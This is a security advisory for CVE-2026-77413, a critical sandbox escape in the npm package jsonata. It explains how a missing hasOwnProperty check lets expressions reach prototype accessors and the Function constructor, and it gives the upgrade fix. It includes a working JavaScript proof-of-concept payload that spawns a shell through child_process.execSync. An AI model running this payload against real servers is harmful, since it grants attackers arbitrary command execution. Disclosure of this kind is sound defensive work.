criticalCVE-2026-77413Aug 21, 2026

CVE-2026-77413: jsonata Arbitrary Code Execution via Prototype Chain Escape

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted JSONata expression can escape the expression sandbox and run arbitrary operating system commands on the server, because the property lookup function never checked whether inherited…

Packagejsonata
Ecosystemnpm
Affected<= 1.8.7
Fixed in1.8.8
CVE-2026-77413: jsonata Arbitrary Code Execution via Prototype Chain Escape

The problem

JSONata versions up to and including 1.8.7 (and 2.x up to 2.1.x) evaluate user-supplied expressions inside a JavaScript runtime without fully isolating the host object graph.

The lookup function in src/functions.js reads properties off objects using plain bracket notation, with no hasOwnProperty guard. An attacker can feed it a property name like __lookupSetter__ or __defineGetter__ to walk up the prototype chain and reach Object.prototype, then pivot to the Function constructor to execute arbitrary shell commands.

Proof of concept

A working proof-of-concept for CVE-2026-77413 in jsonata, with the exact payload below.

javascript
import jsonata from "jsonata";

const expression = jsonata(`
(
   __lookupSetter__('__proto__')(constructor);
   __defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
   valueOf().l
)
`);

await expression.evaluate({});

The lookup function used plain property access (obj[key]) without first calling Object.prototype.hasOwnProperty.call(obj, key). This let an expression reference non-own, inherited properties such as __lookupSetter__ and __defineGetter__, which exist on every object via Object.prototype.

The exploit uses __lookupSetter__('__proto__') to retrieve the __proto__ setter, calls it with the bare constructor reference to obtain Function, then uses __defineGetter__ to lazily bind a getter that invokes Function("return process.getBuiltinModule('child_process')...").

PR #794 added a hasOwnProperty check before the property is resolved, so inherited prototype accessors are no longer reachable from within an expression. The root cause maps to CWE-94: Improper Control of Generation of Code.

The fix

Upgrade jsonata to 1.8.8 (1.x line) or 2.2.0 (2.x line). Both releases include the fix from PR #794. If an immediate upgrade is not possible, do not evaluate untrusted or user-supplied JSONata expressions.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research